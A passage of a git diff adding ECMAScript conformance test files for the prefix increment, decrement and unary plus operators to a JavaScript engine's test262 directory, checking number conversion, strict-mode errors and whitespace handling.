+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A4_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+if (isNaN(++x) !== true) {
+ $ERROR('#1: var x; ++x === Not-a-Number. Actual: ' + (++x));
+}
+
+//CHECK#2
+var x = null;
+if (++x !== 1) {
+ $ERROR('#2: var x = null; ++x === 1. Actual: ' + (++x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T5.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T5.js
new file mode 100644
index 000000000..c6c9d526a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T5.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A4_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+if (isNaN(++x) !== true) {
+ $ERROR('#1: var x = {}; ++x === Not-a-Number. Actual: ' + (++x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+if (isNaN(++x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; ++x === Not-a-Number. Actual: ' + (++x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/browser.js b/js/src/tests/test262/ch11/11.4/11.4.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/shell.js b/js/src/tests/test262/ch11/11.4/11.4.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-1-s.js b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-1-s.js
new file mode 100644
index 000000000..2c0d4c1a1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.5/11.4.5-2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown for --eval
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("--eval;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-2-s.js b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-2-s.js
new file mode 100644
index 000000000..373dabe9e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.5/11.4.5-2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown for --arguments
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("--arguments;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-2gs.js b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-2gs.js
new file mode 100644
index 000000000..3040d8029
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-2gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch11/11.4/11.4.5/11.4.5-2-2gs.js
+ * @description Strict Mode - SyntaxError is throw if the UnaryExpression operated upon by a Prefix Increment operator(--arguments)
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+--arguments;
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-3-s.js b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-3-s.js
new file mode 100644
index 000000000..9af3f7bcb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/11.4.5-2-3-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.5/11.4.5-2-3-s.js
+ * @description Strict Mode - SyntaxError is not thrown for --arguments[...]
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ arguments[1] = 7;
+ --arguments[1];
+ return arguments[1]===6;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A1.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A1.js
new file mode 100644
index 000000000..5be2493ee
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "--" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("var x = 1; --\u0009x") !== 0) {
+ $ERROR('#1: var x = 1; --\\u0009x; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+if (eval("var x = 1; --\u000Bx") !== 0) {
+ $ERROR('#2: var x = 1; --\\u000Bx; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+if (eval("var x = 1; --\u000Cx") !== 0) {
+ $ERROR('#3: var x = 1; --\\u000Cx; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+if (eval("var x = 1; --\u0020x") !== 0) {
+ $ERROR('#4: var x = 1; --\\u0020x; x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+if (eval("var x = 1; --\u00A0x") !== 0) {
+ $ERROR('#5: var x = 1; --\\u00A0x; x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+if (eval("var x = 1; --\u000Ax") !== 0) {
+ $ERROR('#6: var x = 1; --\\u000Ax; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+if (eval("var x = 1; --\u000Dx") !== 0) {
+ $ERROR('#7: var x = 1; --\\u000Dx; x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+if (eval("var x = 1; --\u2028x") !== 0) {
+ $ERROR('#8: var x = 1; --\\u2028x; x === 0. Actual: ' + (x));
+}
+
+//CHECK#9
+if (eval("var x = 1; --\u2029x") !== 0) {
+ $ERROR('#9: var x = 1; --\\u2029x; x === 0. Actual: ' + (x));
+}
+
+//CHECK#10
+if (eval("var x = 1; --\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029x") !== 0) {
+ $ERROR('#10: var x = 1; --\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029x; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T1.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T1.js
new file mode 100644
index 000000000..136b72c51
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T1.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x uses GetValue and PutValue
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A2.1_T1.js
+ * @description Type(x) is Reference and GetBase(x) is not null
+ */
+
+//CHECK#1
+var x = 1;
+if (--x !== 1 - 1) {
+ $ERROR('#1: var x = 1; --x === 1 - 1. Actual: ' + (--x));
+} else {
+ if (x !== 1 - 1) {
+ $ERROR('#1: var x = 1; --x; x === 1 - 1. Actual: ' + (x));
+ }
+}
+
+//CHECK#2
+this.x = 1;
+if (--this.x !== 1 - 1) {
+ $ERROR('#2: this.x = 1; --this.x === 1 - 1. Actual: ' + (--this.x));
+} else {
+ if (this.x !== 1 - 1) {
+ $ERROR('#2: this.x = 1; --this.x; this.x === 1 - 1. Actual: ' + (this.x));
+ }
+}
+
+//CHECK#3
+var object = new Object();
+object.prop = 1;
+if (--object.prop !== 1 - 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; --object.prop === 1 - 1. Actual: ' + (--object.prop));
+} else {
+ if (this.x !== 1 - 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; --object.prop; object.prop === 1 - 1. Actual: ' + (object.prop));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T2.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T2.js
new file mode 100644
index 000000000..2dabef975
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x uses GetValue and PutValue
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ --x;
+ $ERROR('#1.1: --x throw ReferenceError. Actual: ' + (--x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: --x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T3.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T3.js
new file mode 100644
index 000000000..5700185b9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.1_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x uses GetValue and PutValue
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A2.1_T3.js
+ * @description If Type(x) is not Reference, throw ReferenceError (or SyntaxError)
+ * @negative
+ */
+
+//CHECK#1
+try {
+ --1;
+ $ERROR('#1.1: --1 throw ReferenceError (or SyntaxError). Actual: ' + (--1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: --1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ --1;
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.2_T1.js
new file mode 100644
index 000000000..6f19db9db
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A2.2_T1.js
@@ -0,0 +1,104 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x uses [[Default Value]]
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (--object !== 1 - 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; --object === 1 - 1. Actual: ' + (--object));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; --object; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (--object !== 1 - 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; --object === 1 - 1. Actual: ' + (--object));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; --object; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (--object !== 1 - 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; --object === 1 - 1. Actual: ' + (--object));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; --object; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if (--object !== 1 - 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; --object === 1 - 1. Actual: ' + (--object));
+ } else {
+ if (object !== 1 - 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; --object; object === 1 - 1. Actual: ' + (object));
+ }
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; --object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; --object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (--object !== 1 - 1) {
+ $ERROR('#5.1: var object = {toString: function() {return 1}}; --object === 1 - 1. Actual: ' + (--object));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#5.2: var object = {toString: function() {return 1}}; --object; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (--object !== 1 - 1) {
+ $ERROR('#6.1: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; --object === 1 - 1. Actual: ' + (--object));
+} else {
+ if (object !== 1 - 1) {
+ $ERROR('#6.2: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; --object; object === 1 - 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ --object;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; --object throw "error". Actual: ' + (--object));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; --object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ --object;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; --object throw TypeError. Actual: ' + (--object));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; --object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T1.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T1.js
new file mode 100644
index 000000000..f7fd9fc7b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = true;
+--x;
+if (x !== 1 - 1) {
+ $ERROR('#1: var x = true; --x; x === 1 - 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Boolean(false);
+--x;
+if (x !== 0 - 1) {
+ $ERROR('#2: var x = new Boolean(false); --x; x === 0 - 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T2.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T2.js
new file mode 100644
index 000000000..a946e8648
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 0.1;
+--x;
+if (x !== 0.1 - 1) {
+ $ERROR('#1: var x = 0.1; --x; x === 0.1 - 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Number(-1.1);
+--x;
+if (x !== -1.1 - 1) {
+ $ERROR('#2: var x = new Number(-1.1); --x; x === -1.1 - 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T3.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T3.js
new file mode 100644
index 000000000..6ed487073
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A3_T3.js
+ * @description Type(x) is primitive string or String object
+ */
+
+//CHECK#1
+var x = "1";
+--x;
+if (x !== 1 - 1) {
+ $ERROR('#1: var x = "1"; --x; x === 1 - 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = "x";
+--x;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = "x"; --x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+var x = new Number("-1");
+--x;
+if (x !== -1 - 1) {
+ $ERROR('#3: var x = new String("-1"); --x; x === -1 - 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T4.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T4.js
new file mode 100644
index 000000000..ed0d7798b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+--x;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x; --x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = null;
+--x;
+if (x !== -1) {
+ $ERROR('#2: var x = null; --x; x === -1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T5.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T5.js
new file mode 100644
index 000000000..0fd3f76ac
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A3_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns x = ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+--x;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x = {}; --x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+--x;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; --x; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T1.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T1.js
new file mode 100644
index 000000000..7f424a239
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A4_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = true;
+if (--x !== 1 - 1) {
+ $ERROR('#1: var x = true; --x === 1 - 1. Actual: ' + (--x));
+}
+
+//CHECK#2
+var x = new Boolean(false);
+if (--x !== 0 - 1) {
+ $ERROR('#2: var x = new Boolean(false); --x === 0 - 1. Actual: ' + (--x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T2.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T2.js
new file mode 100644
index 000000000..c5c77de06
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A4_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 0.1;
+if (--x !== 0.1 - 1) {
+ $ERROR('#1: var x = 0.1; --x === 0.1 - 1. Actual: ' + (--x));
+}
+
+//CHECK#2
+var x = new Number(-1.1);
+if (--x !== -1.1 - 1) {
+ $ERROR('#2: var x = new Number(-1.1); --x === -1.1- 1. Actual: ' + (--x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T3.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T3.js
new file mode 100644
index 000000000..29d4d123f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A4_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+if (--x !== 1 - 1) {
+ $ERROR('#1: var x = "1"; --x === 1 - 1. Actual: ' + (--x));
+}
+
+//CHECK#2
+var x = "x";
+if (isNaN(--x) !== true) {
+ $ERROR('#2: var x = "x"; --x === Not-a-Number. Actual: ' + (--x));
+}
+
+//CHECK#3
+var x = new String("-1");
+if (--x !== -1 - 1) {
+ $ERROR('#3: var x = new String("-1"); --x === -1 - 1. Actual: ' + (--x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T4.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T4.js
new file mode 100644
index 000000000..a1f600ace
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T4.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A4_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+if (isNaN(--x) !== true) {
+ $ERROR('#1: var x; --x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = null;
+if (--x !== -1) {
+ $ERROR('#2: var x = null; --x === -1. Actual: ' + (--x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T5.js b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T5.js
new file mode 100644
index 000000000..fe40976df
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/S11.4.5_A4_T5.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator --x returns ToNumber(x) - 1
+ *
+ * @path ch11/11.4/11.4.5/S11.4.5_A4_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+if (isNaN(--x) !== true) {
+ $ERROR('#1: var x = {}; --x === Not-a-Number. Actual: ' + (--x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+if (isNaN(--x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; --x === Not-a-Number. Actual: ' + (--x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/browser.js b/js/src/tests/test262/ch11/11.4/11.4.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.5/shell.js b/js/src/tests/test262/ch11/11.4/11.4.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.5/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/11.4.6-2-1.js b/js/src/tests/test262/ch11/11.4/11.4.6/11.4.6-2-1.js
new file mode 100644
index 000000000..b4d785c18
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/11.4.6-2-1.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.6/11.4.6-2-1.js
+ * @description +"" should be zero
+ */
+
+
+function testcase() {
+ return +"" === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A1.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A1.js
new file mode 100644
index 000000000..ac0f45a12
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "+" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("+\u00091") !== 1) {
+ $ERROR('#1: +\\u00091 === 1');
+}
+
+//CHECK#2
+if (eval("+\u000B1") !== 1) {
+ $ERROR('#2: +\\u000B1 === 1');
+}
+
+//CHECK#3
+if (eval("+\u000C1") !== 1) {
+ $ERROR('#3: +\\u000C1 === 1');
+}
+
+//CHECK#4
+if (eval("+\u00201") !== 1) {
+ $ERROR('#4: +\\u0020 === 1');
+}
+
+//CHECK#5
+if (eval("+\u00A01") !== 1) {
+ $ERROR('#5: +\\u00A01 === 1');
+}
+
+//CHECK#6
+if (eval("+\u000A1") !== 1) {
+ $ERROR('#6: +\\u000A1 === 1');
+}
+
+//CHECK#7
+if (eval("+\u000D1") !== 1) {
+ $ERROR('#7: +\\u000D1 === 1');
+}
+
+//CHECK#8
+if (eval("+\u20281") !== 1) {
+ $ERROR('#8: +\\u20281 === 1');
+}
+
+//CHECK#9
+if (eval("+\u20291") !== 1) {
+ $ERROR('#9: +\\u20291 === 1');
+}
+
+//CHECK#10
+if (eval("+\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 1) {
+ $ERROR('#10: +\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.1_T1.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.1_T1.js
new file mode 100644
index 000000000..a3074769a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.1_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x uses GetValue
+ *
